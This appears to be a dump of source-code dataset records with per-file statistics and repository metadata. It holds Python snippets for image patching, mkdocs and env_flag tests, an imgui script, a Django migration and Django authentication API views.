# patches[ni-1,j,:,:,:] = png[:,w-size:w,j*step:j*step+size]
misc.toimage(png[w-size:w,j*step:j*step+size,:]).save(basename+format(ni-1,'03d')+'_'+format(j,'03d')+'.png')
misc.toimage(png[w-size:w,h-size:h,:]).save(basename+format(ni-1,'03d')+'_'+format(nj-1,'03d')+'.png')
def savepatch_test_with_mask(png,mask,w,h,step,size,imbasename,patchbasename):
ni = np.int32(np.floor((w- size)/step) +2)
nj = np.int32(np.floor((h- size)/step) +2)
for i in range(0,ni-1):
for j in range(0,nj-1):
name = format(i,'03d')+'_'+format(j,'03d')+'.png'
m = mask[i*step:i*step+size,j*step:j*step+size]
misc.toimage(m,mode='L').save(patchbasename+name)
misc.toimage(png[i*step:i*step+size,j*step:j*step+size,:]).save(imbasename+name)
for i in range(0,ni-1):
name = format(i,'03d')+'_'+format(nj-1,'03d')+'.png'
m = mask[i*step:i*step+size,h-size:h]
misc.toimage(m,mode='L').save(patchbasename+name)
misc.toimage(png[i*step:i*step+size,h-size:h,:]).save(imbasename+format(i,'03d')+'_'+format(nj-1,'03d')+'.png')
for j in range(0,nj-1):
name = format(ni-1,'03d')+'_'+format(j,'03d')+'.png'
m = mask[w-size:w,j*step:j*step+size]
misc.toimage(m,mode='L').save(patchbasename+name)
misc.toimage(png[w-size:w,j*step:j*step+size,:]).save(imbasename+format(ni-1,'03d')+'_'+format(j,'03d')+'.png')
m= mask[w-size:w,h-size:h]
misc.toimage(m,mode='L').save(patchbasename+format(ni-1,'03d')+'_'+format(nj-1,'03d')+'.png')
misc.toimage(png[w-size:w,h-size:h,:]).save(imbasename+format(ni-1,'03d')+'_'+format(nj-1,'03d')+'.png')
def savepatch_train(png,mask,w,h,step,size,imbasename,patchbasename):
ni = np.int32(np.floor((w- size)/step) +2)
nj = np.int32(np.floor((h- size)/step) +2)
for i in range(0,ni-1):
for j in range(0,nj-1):
name = format(i,'03d')+'_'+format(j,'03d')+'.png'
m = mask[i*step:i*step+size,j*step:j*step+size]
if m.any():
misc.toimage(m,mode='L').save(patchbasename+name)
misc.toimage(png[i*step:i*step+size,j*step:j*step+size,:]).save(imbasename+name)
for i in range(0,ni-1):
name = format(i,'03d')+'_'+format(nj-1,'03d')+'.png'
m = mask[i*step:i*step+size,h-size:h]
if m.any():
misc.toimage(m,mode='L').save(patchbasename+name)
misc.toimage(png[i*step:i*step+size,h-size:h,:]).save(imbasename+format(i,'03d')+'_'+format(nj-1,'03d')+'.png')
for j in range(0,nj-1):
name = format(ni-1,'03d')+'_'+format(j,'03d')+'.png'
m = mask[w-size:w,j*step:j*step+size]
if m.any():
misc.toimage(m,mode='L').save(patchbasename+name)
misc.toimage(png[w-size:w,j*step:j*step+size,:]).save(imbasename+format(ni-1,'03d')+'_'+format(j,'03d')+'.png')
m= mask[w-size:w,h-size:h]
if m.any():
misc.toimage(m,mode='L').save(patchbasename+format(ni-1,'03d')+'_'+format(nj-1,'03d')+'.png')
misc.toimage(png[w-size:w,h-size:h,:]).save(imbasename+format(ni-1,'03d')+'_'+format(nj-1,'03d')+'.png')
| 37.98227
| 128
| 0.559892
| 1,970
| 10,711
| 3.024873
| 0.077157
| 0.119483
| 0.040275
| 0.067125
| 0.829334
| 0.815909
| 0.795603
| 0.769424
| 0.758181
| 0.732841
| 0
| 0.038304
| 0.200542
| 10,711
| 281
| 129
| 38.117438
| 0.657597
| 0.041639
| 0
| 0.579208
| 0
| 0
| 0.026547
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.069307
| false
| 0
| 0.019802
| 0.00495
| 0.158416
| 0.004951
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
200a07a8f6c323cf28ccdef7bc5e7ac20a331280
| 206
|
py
|
Python
|
src/onegov/winterthur/forms/__init__.py
|
politbuero-kampagnen/onegov-cloud
|
20148bf321b71f617b64376fe7249b2b9b9c4aa9
|
[
"MIT"
] | null | null | null |
src/onegov/winterthur/forms/__init__.py
|
politbuero-kampagnen/onegov-cloud
|
20148bf321b71f617b64376fe7249b2b9b9c4aa9
|
[
"MIT"
] | null | null | null |
src/onegov/winterthur/forms/__init__.py
|
politbuero-kampagnen/onegov-cloud
|
20148bf321b71f617b64376fe7249b2b9b9c4aa9
|
[
"MIT"
] | null | null | null |
from onegov.winterthur.forms.mission_report import MissionReportForm
from onegov.winterthur.forms.mission_report import MissionReportVehicleForm
__all__ = ('MissionReportForm', 'MissionReportVehicleForm')
| 41.2
| 75
| 0.868932
| 19
| 206
| 9.105263
| 0.526316
| 0.115607
| 0.231214
| 0.289017
| 0.508671
| 0.508671
| 0.508671
| 0
| 0
| 0
| 0
| 0
| 0.063107
| 206
| 4
| 76
| 51.5
| 0.896373
| 0
| 0
| 0
| 0
| 0
| 0.199029
| 0.116505
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
646f4de2404f5c182fc0c6f326f3e3a2142d6fe1
| 75
|
py
|
Python
|
write_all_proofs.py
|
dwhalen/holophrasm
|
0d971428f9879ad3d6c0a781f1a021cff73fb1ce
|
[
"MIT"
] | 33
|
2016-09-23T15:05:24.000Z
|
2021-08-30T11:13:35.000Z
|
write_all_proofs.py
|
dwhalen/holophrasm
|
0d971428f9879ad3d6c0a781f1a021cff73fb1ce
|
[
"MIT"
] | 4
|
2016-12-14T03:41:55.000Z
|
2020-05-27T20:27:55.000Z
|
write_all_proofs.py
|
david-a-wheeler/holophrasm
|
aea14ea846c7c8980219216859868cc6d2c45422
|
[
"MIT"
] | 12
|
2016-08-20T10:40:21.000Z
|
2022-01-03T09:47:01.000Z
|
import write_proof
write_proof.reset()
write_proof.write_all_known_proofs()
| 25
| 36
| 0.88
| 12
| 75
| 5
| 0.583333
| 0.5
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.04
| 75
| 3
| 36
| 25
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 6
|
648750adbc05c90a3008835050a97537f6588346
| 45
|
py
|
Python
|
packages/pyright-internal/src/tests/samples/package1/psyche/pysche.py
|
lipovsek/pytea
|
c536515a5e5947fac8871784323ba7eddc58956d
|
[
"MIT"
] | null | null | null |
packages/pyright-internal/src/tests/samples/package1/psyche/pysche.py
|
lipovsek/pytea
|
c536515a5e5947fac8871784323ba7eddc58956d
|
[
"MIT"
] | null | null | null |
packages/pyright-internal/src/tests/samples/package1/psyche/pysche.py
|
lipovsek/pytea
|
c536515a5e5947fac8871784323ba7eddc58956d
|
[
"MIT"
] | null | null | null |
def psyche1() -> str:
return "3"
| 11.25
| 22
| 0.444444
| 5
| 45
| 4
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.074074
| 0.4
| 45
| 4
| 23
| 11.25
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0.02381
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| true
| 0
| 0
| 0.5
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
| 0
|
0
| 6
|
b3afb92ad3d5cf4c9be12206dd9766b29950b95f
| 1,549
|
py
|
Python
|
tests/test_urls.py
|
eyllanesc/mkdocs-static-i18n
|
283f9a080603904a581370bdae01d517977c9b51
|
[
"MIT"
] | 63
|
2021-02-08T14:04:02.000Z
|
2022-03-27T09:33:04.000Z
|
tests/test_urls.py
|
eyllanesc/mkdocs-static-i18n
|
283f9a080603904a581370bdae01d517977c9b51
|
[
"MIT"
] | 84
|
2021-02-08T13:30:14.000Z
|
2022-03-31T07:13:05.000Z
|
tests/test_urls.py
|
eyllanesc/mkdocs-static-i18n
|
283f9a080603904a581370bdae01d517977c9b51
|
[
"MIT"
] | 16
|
2021-03-08T02:04:38.000Z
|
2022-03-18T03:45:40.000Z
|
from mkdocs.structure.files import get_files
def test_urls_no_use_directory_urls(config_base, config_plugin):
config_base["use_directory_urls"] = False
files = get_files(config_base)
#
config_plugin["use_directory_urls"] = False
i18n_plugin = config_plugin["plugins"]["i18n"]
#
i18n_plugin.on_config(config_plugin)
i18n_files = i18n_plugin.on_files(get_files(config_plugin), config_plugin)
#
mkdocs_urls = set()
for page in files.documentation_pages():
for lang in i18n_plugin.config["languages"]:
page.url = page.url.replace(f".{lang}", "").replace("README", "index")
mkdocs_urls.add(page.url)
plugin_urls = {p.url for p in i18n_files.documentation_pages()}
assert mkdocs_urls == plugin_urls
def test_urls_use_directory_urls(config_base, config_plugin):
config_base["use_directory_urls"] = True
files = get_files(config_base)
#
config_plugin["use_directory_urls"] = True
i18n_plugin = config_plugin["plugins"]["i18n"]
#
i18n_plugin.on_config(config_plugin)
i18n_files = i18n_plugin.on_files(get_files(config_plugin), config_plugin)
#
mkdocs_urls = set()
for page in files.documentation_pages():
if "index" in page.url:
continue
for lang in i18n_plugin.config["languages"]:
page.url = page.url.replace(f".{lang}", "").replace("README/", "")
mkdocs_urls.add(page.url)
plugin_urls = {p.url for p in i18n_files.documentation_pages()}
assert mkdocs_urls == plugin_urls
| 36.880952
| 82
| 0.692705
| 209
| 1,549
| 4.799043
| 0.181818
| 0.143569
| 0.095713
| 0.087737
| 0.891326
| 0.891326
| 0.891326
| 0.891326
| 0.891326
| 0.891326
| 0
| 0.022329
| 0.190445
| 1,549
| 41
| 83
| 37.780488
| 0.777512
| 0
| 0
| 0.645161
| 0
| 0
| 0.096565
| 0
| 0
| 0
| 0
| 0
| 0.064516
| 1
| 0.064516
| false
| 0
| 0.032258
| 0
| 0.096774
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
b3e26905c8655f7860350646270ee6b0067c28cc
| 2,306
|
py
|
Python
|
test_env_flag.py
|
paulmelnikow/env-flag
|
be074534896af557f54caef4f8d1cf64228f3aee
|
[
"BSD-2-Clause"
] | null | null | null |
test_env_flag.py
|
paulmelnikow/env-flag
|
be074534896af557f54caef4f8d1cf64228f3aee
|
[
"BSD-2-Clause"
] | 7
|
2018-11-26T10:21:18.000Z
|
2019-04-03T10:37:15.000Z
|
test_env_flag.py
|
paulmelnikow/env-flag-fork
|
be074534896af557f54caef4f8d1cf64228f3aee
|
[
"BSD-2-Clause"
] | null | null | null |
import os
import unittest
import uuid
from env_flag import env_flag
class EnvironGetBoolTest(unittest.TestCase):
def test_that_env_flag_for_unset_returns_false(self):
env_var = str(uuid.uuid4())
self.assertIsNone(os.environ.get(env_var))
self.assertFalse(env_flag(env_var))
def test_that_env_flag_for_empty_string_returns_false(self):
env_var = str(uuid.uuid4())
os.environ[env_var] = ''
self.assertEquals(os.environ.get(env_var), '')
self.assertFalse(env_flag(env_var))
def test_that_env_flag_for_empty_string_returns_default(self):
env_var = str(uuid.uuid4())
os.environ[env_var] = ''
self.assertEquals(os.environ.get(env_var), '')
self.assertFalse(env_flag(env_var, False))
self.assertTrue(env_flag(env_var, True))
def test_that_env_flag_for_string_with_spaces_returns_default(self):
env_var = str(uuid.uuid4())
os.environ[env_var] = ' '
self.assertEquals(os.environ.get(env_var), ' ')
self.assertFalse(env_flag(env_var, False))
self.assertTrue(env_flag(env_var, True))
def test_that_env_flag_for_0_returns_false(self):
env_var = str(uuid.uuid4())
os.environ[env_var] = '0'
self.assertEquals(os.environ.get(env_var), '0')
self.assertFalse(env_flag(env_var))
def test_that_env_flag_for_0_does_not_return_default(self):
env_var = str(uuid.uuid4())
os.environ[env_var] = '0'
self.assertEquals(os.environ.get(env_var), '0')
self.assertFalse(env_flag(env_var, True))
def test_that_env_flag_for_1_returns_true(self):
env_var = str(uuid.uuid4())
os.environ[env_var] = '1'
self.assertEquals(os.environ.get(env_var), '1')
self.assertTrue(env_flag(env_var))
def test_that_env_flag_for_true_returns_true(self):
env_var = str(uuid.uuid4())
os.environ[env_var] = 'true'
self.assertEquals(os.environ.get(env_var), 'true')
self.assertTrue(env_flag(env_var))
def test_that_env_flag_for_any_capitalized_true_returns_true(self):
env_var = str(uuid.uuid4())
os.environ[env_var] = 'tRue'
self.assertEquals(os.environ.get(env_var), 'tRue')
self.assertTrue(env_flag(env_var))
| 37.803279
| 72
| 0.67693
| 335
| 2,306
| 4.298507
| 0.119403
| 0.154167
| 0.076389
| 0.099306
| 0.8875
| 0.8875
| 0.872917
| 0.847917
| 0.824306
| 0.824306
| 0
| 0.009777
| 0.201648
| 2,306
| 60
| 73
| 38.433333
| 0.772406
| 0
| 0
| 0.568627
| 0
| 0
| 0.013877
| 0
| 0
| 0
| 0
| 0
| 0.392157
| 1
| 0.176471
| false
| 0
| 0.078431
| 0
| 0.27451
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
b3f4f51bfed517a2b9e0fc7d18b1bbd464343e24
| 39
|
py
|
Python
|
14_libraries_and_modules/chapter_14.py
|
fmfrancisco/chapters
|
34acc93e7a41490fe3c856e16927e50fdc370dee
|
[
"MIT"
] | null | null | null |
14_libraries_and_modules/chapter_14.py
|
fmfrancisco/chapters
|
34acc93e7a41490fe3c856e16927e50fdc370dee
|
[
"MIT"
] | null | null | null |
14_libraries_and_modules/chapter_14.py
|
fmfrancisco/chapters
|
34acc93e7a41490fe3c856e16927e50fdc370dee
|
[
"MIT"
] | null | null | null |
import my_functions
my_functions.foo()
| 13
| 19
| 0.846154
| 6
| 39
| 5.166667
| 0.666667
| 0.709677
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.076923
| 39
| 3
| 20
| 13
| 0.861111
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 6
|
b6022010588b3820c23e8392cdf76aa7442c0b36
| 851
|
py
|
Python
|
testimgui.py
|
geehalel/pyvk
|
56737ee4547b3f12bf941dcda74305b739d09cbb
|
[
"MIT"
] | 1
|
2022-01-09T19:02:00.000Z
|
2022-01-09T19:02:00.000Z
|
testimgui.py
|
geehalel/pyvk
|
56737ee4547b3f12bf941dcda74305b739d09cbb
|
[
"MIT"
] | null | null | null |
testimgui.py
|
geehalel/pyvk
|
56737ee4547b3f12bf941dcda74305b739d09cbb
|
[
"MIT"
] | null | null | null |
import imgui
imgui.create_context()
io=imgui.get_io()
texWidth, texHeight, fontData = io.fonts.get_tex_data_as_rgba32()
io.display_size = imgui.Vec2(100,200)
imgui.new_frame()
imgui.render()
imgui.new_frame()
imgui.begin('Vulkan Example', None, imgui.WINDOW_ALWAYS_AUTO_RESIZE | imgui.WINDOW_NO_RESIZE| imgui.WINDOW_NO_MOVE)
imgui.text_unformatted('yeah!!!')
imgui.text('yeah!!!')
imgui.text('yeah!!!')
imgui.end()
imgui.render()
imDrawData = imgui.get_draw_data()
# repeat ?
imgui.new_frame()
imgui.render()
imgui.new_frame()
imgui.begin('Vulkan Example', None, imgui.WINDOW_ALWAYS_AUTO_RESIZE | imgui.WINDOW_NO_RESIZE| imgui.WINDOW_NO_MOVE)
imgui.text_unformatted('yeah!!!')
imgui.text('yeah!!!')
imgui.text('yeah!!!')
imgui.end()
imgui.render()
imDrawData = imgui.get_draw_data()
cmd_list=imDrawData.commands_lists[0]
pcmd=cmd_list.commands[0]
| 25.787879
| 115
| 0.768508
| 128
| 851
| 4.84375
| 0.351563
| 0.106452
| 0.083871
| 0.116129
| 0.716129
| 0.716129
| 0.716129
| 0.716129
| 0.716129
| 0.716129
| 0
| 0.013854
| 0.06698
| 851
| 32
| 116
| 26.59375
| 0.767003
| 0.009401
| 0
| 0.740741
| 0
| 0
| 0.083234
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.037037
| 0
| 0.037037
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
b60287dba0f3cf28c2ac28036e0f2be790cbf1ba
| 107
|
py
|
Python
|
src/pagnn/training/dcn_old/__init__.py
|
ostrokach/protein-adjacency-net
|
fd3ad0b9034eb61b0187752c1f38f7eed1a8f1dc
|
[
"MIT"
] | 1
|
2022-01-16T12:06:13.000Z
|
2022-01-16T12:06:13.000Z
|
src/pagnn/training/dcn_old/__init__.py
|
ostrokach/protein-adjacency-net
|
fd3ad0b9034eb61b0187752c1f38f7eed1a8f1dc
|
[
"MIT"
] | null | null | null |
src/pagnn/training/dcn_old/__init__.py
|
ostrokach/protein-adjacency-net
|
fd3ad0b9034eb61b0187752c1f38f7eed1a8f1dc
|
[
"MIT"
] | null | null | null |
from .args import *
from .stats import *
from .utils import *
from .generators import *
from . import main
| 17.833333
| 25
| 0.728972
| 15
| 107
| 5.2
| 0.466667
| 0.512821
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.186916
| 107
| 5
| 26
| 21.4
| 0.896552
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
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| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
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| 0
| 0
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| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
374e6497dc978569c6363b78e55b35f4198cbcfd
| 2,683
|
py
|
Python
|
isiscb/isisdata/migrations/0049_auto_20160901_1408.py
|
bgopalachary/IsisCB
|
c28e3f504eea60ebeff38318d8bb2071abb28ebb
|
[
"MIT"
] | 4
|
2016-01-25T20:35:33.000Z
|
2020-04-07T15:39:52.000Z
|
isiscb/isisdata/migrations/0049_auto_20160901_1408.py
|
bgopalachary/IsisCB
|
c28e3f504eea60ebeff38318d8bb2071abb28ebb
|
[
"MIT"
] | 41
|
2015-08-19T17:34:41.000Z
|
2022-03-11T23:19:01.000Z
|
isiscb/isisdata/migrations/0049_auto_20160901_1408.py
|
bgopalachary/IsisCB
|
c28e3f504eea60ebeff38318d8bb2071abb28ebb
|
[
"MIT"
] | 2
|
2020-11-25T20:18:18.000Z
|
2021-06-24T15:15:41.000Z
|
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('isisdata', '0048_citationcollection_name'),
]
operations = [
migrations.AlterField(
model_name='authority',
name='classification_system',
field=models.CharField(default=b'SPWC', choices=[(b'SPWT', b'Weldon Thesaurus Terms (2002-present)'), (b'SPWC', b'Weldon Classification System (2002-present)'), (b'GUE', b'Guerlac Committee Classification System (1953-2001)'), (b'NEU', b'Neu'), (b'MW', b'MW'), (b'SHOT', b'SHOT'), (b'SAC', b'SAC'), (b'PN', b'Proper name')], max_length=4, blank=True, help_text=b'Specifies the classification system that is the source of the authority. Used to group resources by the Classification system. The system used currently is the Weldon System. All the other ones are for reference or archival purposes only.', null=True),
),
migrations.AlterField(
model_name='citationcollection',
name='description',
field=models.TextField(blank=True),
),
migrations.AlterField(
model_name='historicalauthority',
name='classification_system',
field=models.CharField(default=b'SPWC', choices=[(b'SPWT', b'Weldon Thesaurus Terms (2002-present)'), (b'SPWC', b'Weldon Classification System (2002-present)'), (b'GUE', b'Guerlac Committee Classification System (1953-2001)'), (b'NEU', b'Neu'), (b'MW', b'MW'), (b'SHOT', b'SHOT'), (b'SAC', b'SAC'), (b'PN', b'Proper name')], max_length=4, blank=True, help_text=b'Specifies the classification system that is the source of the authority. Used to group resources by the Classification system. The system used currently is the Weldon System. All the other ones are for reference or archival purposes only.', null=True),
),
migrations.AlterField(
model_name='historicalperson',
name='classification_system',
field=models.CharField(default=b'SPWC', choices=[(b'SPWT', b'Weldon Thesaurus Terms (2002-present)'), (b'SPWC', b'Weldon Classification System (2002-present)'), (b'GUE', b'Guerlac Committee Classification System (1953-2001)'), (b'NEU', b'Neu'), (b'MW', b'MW'), (b'SHOT', b'SHOT'), (b'SAC', b'SAC'), (b'PN', b'Proper name')], max_length=4, blank=True, help_text=b'Specifies the classification system that is the source of the authority. Used to group resources by the Classification system. The system used currently is the Weldon System. All the other ones are for reference or archival purposes only.', null=True),
),
]
| 76.657143
| 627
| 0.677972
| 363
| 2,683
| 4.955923
| 0.225895
| 0.166759
| 0.040022
| 0.06448
| 0.83602
| 0.817676
| 0.817676
| 0.817676
| 0.817676
| 0.817676
| 0
| 0.025501
| 0.181513
| 2,683
| 34
| 628
| 78.911765
| 0.793716
| 0.007827
| 0
| 0.5
| 0
| 0.107143
| 0.539474
| 0.034211
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.071429
| 0
| 0.178571
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
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| 0
| 0
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
3755f0af6e1ac846d5a6b76e9670f96ab376bb9b
| 12,365
|
py
|
Python
|
lizard_auth_server/views_api.py
|
lisannewapstra/lizard-auth-server
|
3824edfaedd01caff5eb84bbcb9557ccfec2371a
|
[
"MIT",
"BSD-3-Clause"
] | 1
|
2019-02-21T02:12:04.000Z
|
2019-02-21T02:12:04.000Z
|
lizard_auth_server/views_api.py
|
lisannewapstra/lizard-auth-server
|
3824edfaedd01caff5eb84bbcb9557ccfec2371a
|
[
"MIT",
"BSD-3-Clause"
] | 88
|
2015-04-23T15:37:17.000Z
|
2021-02-18T15:28:32.000Z
|
lizard_auth_server/views_api.py
|
lisannewapstra/lizard-auth-server
|
3824edfaedd01caff5eb84bbcb9557ccfec2371a
|
[
"MIT",
"BSD-3-Clause"
] | 2
|
2018-04-24T08:48:35.000Z
|
2021-02-17T10:18:26.000Z
|
# -*- coding: utf-8 -*-
from django.contrib.auth import authenticate as django_authenticate
from django.contrib.auth.models import User
from django.http import HttpResponse
from django.http import HttpResponseBadRequest
from django.shortcuts import get_object_or_404
from django.utils.decorators import method_decorator
from django.views.decorators.cache import never_cache
from django.views.decorators.csrf import csrf_exempt
from django.views.decorators.debug import sensitive_post_parameters
from django.views.decorators.debug import sensitive_variables
from django.views.generic.edit import FormView
from lizard_auth_server import forms
from lizard_auth_server import models
from lizard_auth_server.http import JsonError
from lizard_auth_server.http import JsonResponse
from lizard_auth_server.views_sso import construct_user_data
import logging
logger = logging.getLogger(__name__)
class AuthenticateUnsignedView(FormView):
"""
View which can be used by API's to authenticate a
username / password combo.
Unsigned edition, so it can be used from GeoServer.
"""
form_class = forms.AuthenticateUnsignedForm
@method_decorator(csrf_exempt)
def dispatch(self, request, *args, **kwargs):
return super(AuthenticateUnsignedView, self).dispatch(request, *args, **kwargs)
def get(self, request, *args, **kwargs):
# just a simple debug form
return HttpResponse(
"""
<form method="post">
<input type="text" name="key">
<input type="text" name="username">
<input type="password" name="password">
<input type="submit">
</form>
"""
)
@method_decorator(
sensitive_post_parameters(
"password", "old_password", "new_password1", "new_password2"
)
)
@method_decorator(never_cache)
def post(self, request, *args, **kwargs):
return super(FormView, self).post(request, *args, **kwargs)
@method_decorator(sensitive_variables("password"))
def form_valid(self, form):
portal = form.portal
username = form.cleaned_data.get("username")
password = form.cleaned_data.get("password")
if username and password:
return self.authenticate(portal, username, password)
else:
return JsonError('Missing "username" or "password" POST parameters.')
def form_invalid(self, form):
logger.error("Error in posted form: %s", form.errors.as_text())
return HttpResponseBadRequest("Bad input")
@method_decorator(sensitive_variables("password"))
def authenticate(self, portal, username, password):
user = django_authenticate(username=username, password=password)
if user:
if not user.is_active:
return JsonError("User account is disabled")
else:
try:
profile = user.user_profile
except models.UserProfile.DoesNotExist:
return JsonError("No access to this portal")
if profile.has_access(portal):
user_data = construct_user_data(profile=profile)
return JsonResponse({"user": user_data})
else:
return JsonError("No access to this portal")
else:
logger.warn(
"Login failed for user %s and ip %s",
username,
self.request.META["REMOTE_ADDR"],
)
return JsonError("Login failed")
class AuthenticateView(FormView):
"""
View which can be used by API's to authenticate a
username / password combo.
"""
form_class = forms.DecryptForm
@method_decorator(csrf_exempt)
def dispatch(self, request, *args, **kwargs):
return super(AuthenticateView, self).dispatch(request, *args, **kwargs)
def get(self, request, *args, **kwargs):
# just a simple debug form
return HttpResponse(
"""
<form method="post">
<input type="text" name="username">
<input type="password" name="password">
<input type="submit">
</form>
"""
)
@method_decorator(
sensitive_post_parameters(
"password", "old_password", "new_password1", "new_password2"
)
)
@method_decorator(never_cache)
def post(self, request, *args, **kwargs):
return super(FormView, self).post(request, *args, **kwargs)
@method_decorator(sensitive_variables("password"))
def form_valid(self, form):
portal = form.portal
username = form.cleaned_data.get("username")
password = form.cleaned_data.get("password")
if username and password:
return self.authenticate(portal, username, password)
else:
return JsonError('Missing "username" or "password" POST parameters.')
def form_invalid(self, form):
logger.error("Error while decrypting form: %s", form.errors.as_text())
return HttpResponseBadRequest("Bad signature")
@method_decorator(sensitive_variables("password"))
def authenticate(self, portal, username, password):
user = django_authenticate(username=username, password=password)
if user:
if not user.is_active:
return JsonError("User account is disabled")
else:
try:
# Get profile deprecated in Django >= 1.7
profile = user.user_profile
except models.UserProfile.DoesNotExist:
return JsonError("No access to this portal")
if profile.has_access(portal):
user_data = construct_user_data(profile=profile)
return JsonResponse({"user": user_data})
else:
return JsonError("No access to this portal")
else:
logger.warn(
"Login failed for user %s and ip %s",
username,
self.request.META["REMOTE_ADDR"],
)
return JsonError("Login failed")
class GetUserView(FormView):
"""
View which can be used by API's to fetch user data.
"""
form_class = forms.DecryptForm
@method_decorator(csrf_exempt)
def dispatch(self, request, *args, **kwargs):
return super(GetUserView, self).dispatch(request, *args, **kwargs)
def get(self, request, *args, **kwargs):
# just a simple debug form
return HttpResponse(
"""
<form method="post">
<input type="text" name="username">
<input type="submit">
</form>
"""
)
@method_decorator(never_cache)
def post(self, request, *args, **kwargs):
return super(FormView, self).post(request, *args, **kwargs)
def form_valid(self, form):
portal = form.portal
username = form.cleaned_data.get("username")
if username:
return self.get_user(portal, username)
else:
return JsonError('Missing "username" POST parameter.')
def form_invalid(self, form):
logger.error("Error while decrypting form: %s", form.errors.as_text())
return HttpResponseBadRequest("Bad signature")
def get_user(self, portal, username):
try:
user = User.objects.get(username=username)
except User.DoesNotExist:
user = None
if user:
if not user.is_active:
return JsonError("User account is disabled")
else:
try:
profile = user.user_profile
except models.UserProfile.DoesNotExist:
return JsonError("No access to this portal")
if profile.has_access(portal):
user_data = construct_user_data(profile=profile)
return JsonResponse({"user": user_data})
else:
return JsonError("No access to this portal")
else:
return JsonError(
"No such user. "
+ "Perhaps you need to add user to the SSO server first?"
)
class GetUsersView(FormView):
"""
View which can be used by API's to fetch all users of a portal.
"""
form_class = forms.DecryptForm
@method_decorator(csrf_exempt)
def dispatch(self, request, *args, **kwargs):
return super(GetUsersView, self).dispatch(request, *args, **kwargs)
@method_decorator(never_cache)
def post(self, request, *args, **kwargs):
return super(GetUsersView, self).post(request, *args, **kwargs)
def form_valid(self, form):
return self.get_users(form.portal)
def form_invalid(self, form):
logger.error("Error while decrypting form: %s", form.errors.as_text())
return HttpResponseBadRequest("Bad signature")
def get_users(self, portal):
user_data = []
for user in User.objects.select_related("user_profile"):
try:
profile = user.user_profile
except models.UserProfile.DoesNotExist:
continue
if profile.has_access(portal):
